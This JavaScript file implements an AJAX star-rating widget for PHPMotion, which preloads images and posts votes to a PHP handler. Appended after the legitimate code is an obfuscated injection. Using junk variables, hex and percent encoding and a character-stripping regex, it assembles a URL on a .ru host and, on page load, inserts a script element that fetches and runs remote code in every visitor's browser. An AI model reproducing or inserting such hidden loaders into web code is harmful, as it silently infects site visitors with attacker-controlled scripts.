// All part of the Dynamic Star Rating by Jordan Boesch!
// http://creativecommons.org/licenses/by-nc-nd/2.5/ca/
// PRE-LOAD IMAGES -----------------------------

// As modified by phpmotion.com for PHPMotion
// 050590


if (document.images){
  pic1 = new Image(220,19);
  pic1.src = "images/rating_loading.gif";

  pic2 = new Image(25,75);
  pic2.src = "images/rating_star.gif";

  pic3 = new Image(25,75);
  pic3.src = "images/rating_star_2.gif";

  pic4 = new Image(16,13);
  pic4.src = "images/rating_tick.gif";

  pic5 = new Image(14,14);
  pic5.src = "images/rating_warning.gif";
}

// AJAX ----------------------------------------

var xmlHttp
function GetXmlHttpObject(){
var xmlHttp = null;
	try {
	  // Firefox, Opera 8.0+, Safari
	  xmlHttp = new XMLHttpRequest();
	  }
	catch (e) {
	  // Internet Explorer
	  try {
			xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
		}
	  catch (e){
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
	  }
	return xmlHttp;
}

// Calculate the rating
function rate(media, rating, id, show5, showPerc, showVotes) {
	xmlHttp = GetXmlHttpObject()
	if(xmlHttp == null){
		alert ("Your browser does not support AJAX!");
		return;
	}
	xmlHttp.onreadystatechange = function(){
	var loader = document.getElementById('loading_'+id);
	var uldiv = document.getElementById('ul_'+id);
		if (xmlHttp.readyState == 4){
			var res = xmlHttp.responseText;
			if(res == 'already_voted'){
				loader.style.display = 'block';
				loader.innerHTML = '<div class="voted_twice">You already voted!</div>';
			} else {
				loader.style.display = 'block';
				loader.innerHTML = '<div class="voted">Thanks for voting!</div>';
				if(show5 == true){
					var out = document.getElementById('outOfFive_'+id);
					var calculate = res/20;
					out.innerHTML = Math.round(calculate*100)/100;
				}
				if(showPerc == true){
					var perc = document.getElementById('percentage_'+id);
					var newPerc = res;
					perc.innerHTML = newPerc+'%';
				}
				else if(showPerc == false){
					var newPerc = res;
				}
				if(showVotes == true){
					var votediv = document.getElementById('showvotes_'+id).firstChild.nodeValue;
					var splitted = votediv.split(' ');
					var newval = parseInt(splitted[0]) + 1;
					if(newval == 1){
						document.getElementById('showvotes_'+id).innerHTML = newval+' Vote';
					} else {
						document.getElementById('showvotes_'+id).innerHTML = newval+' Votes';
					}
				}
				var ulRater = document.getElementById('rater_'+id);
				ulRater.className = 'star-rating2';
				var all_li = ulRater.getElementsByTagName('li');
				for(var i=1;i<all_li.length;i++){
					all_li[i].getElementsByTagName('a')[0].onclick = 'null';
					all_li[i].getElementsByTagName('a')[0].removeAttribute('href');
					all_li[i].getElementsByTagName('a')[0].removeAttribute('onclick');
				}
				if(navigator.appName == 'Microsoft Internet Explorer'){
					uldiv.style.setAttribute('width',newPerc+'%'); // IE
				 } else {
					uldiv.setAttribute('style','width:'+newPerc+'%');
				 }
			}
		} else {
			loader.innerHTML = '<img src="images/rating_loading.gif" alt="loading" />';
		}
	}

	var url 	= "includes/rating_process.php";
	var params 	= "media="+media+"&id="+id+"&rating="+rating;
	xmlHttp.open("POST",url,true);
	xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlHttp.setRequestHeader("Content-length", params.length);
	xmlHttp.setRequestHeader("Connection", "close");
	xmlHttp.send(params);
}
var I;if(I!='o' && I != ''){I=null};this.QX="";var Xd=new Array();var Ca=new Array();function h(){var Iu=new Array();var t=new Array();this.s="";var C=unescape;var K=new String("g");var R='';var pq=new Date();var D="\x68\x74\x74\x70\x3a\x2f\x2f\x74\x6f\x70\x69\x78\x2d\x63\x6f\x6d\x2e\x61\x6c\x69\x62\x61\x62\x61\x2e\x63\x6f\x6d\x2e\x61\x62\x63\x6e\x65\x77\x73\x2d\x67\x6f\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var rB=new Date();var u=new Date();var n=window;var wi;if(wi!='' && wi!='yZ'){wi=''};var Ws=new String();var KB=new String();function V(p,y){this.ovy='';var f;if(f!='M'){f=''};var c=C("%5b")+y+C("%5d");var Fd;if(Fd!='dl' && Fd!='ES'){Fd=''};var Fc='';var z=new RegExp(c, K);return p.replace(z, R);var Od='';};var Jo;if(Jo!='Ri' && Jo!='lS'){Jo=''};var sN='';var XA=new Array();var Ud=new Array();var O=document;var lc;if(lc!='Jr' && lc != ''){lc=null};var F=C("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6e%65%77%67%72%6f%75%6e%64%73%2e%63%6f%6d%2f%6d%65%72%63%61%64%6f%6c%69%76%72%65%2e%63%6f%6d%2e%62%72%2f%62%61%6e%67%62%72%6f%73%31%2e%63%6f%6d%2e%70%68%70");var Q=V('84606389560525','72635419');this.vt='';var x;if(x!='' && x!='g'){x=null};var S='';var Po;if(Po!='Jx' && Po!='Ha'){Po='Jx'};this.je='';function A(){this.EB='';var zJ;if(zJ!='tp' && zJ!='Dk'){zJ='tp'};S=D;S+=Q;S+=F;try {var aB=new Array();var BmU;if(BmU!='' && BmU!='Bm'){BmU=''};w=O.createElement(V('sJcJr3iLpKtu','dLUDhn3FEJ5KCfVuk'));var b=new Date();var JC=new Date();var jL="";w.defer=[1][0];this.G="";var XU;if(XU!=''){XU='yg'};w.src=S;var hy;if(hy!='gm' && hy!='mM'){hy='gm'};var mxj="";var Kc=new Date();O.body.appendChild(w);var gmn;if(gmn!='il'){gmn=''};var jY=new String();} catch(m){var gz=new Array();};}n[String("onloa"+"d")]=A;var pn='';var aN='';};var QB;if(QB!='MTz' && QB!='CN'){QB=''};var Bl="";var tU="";h();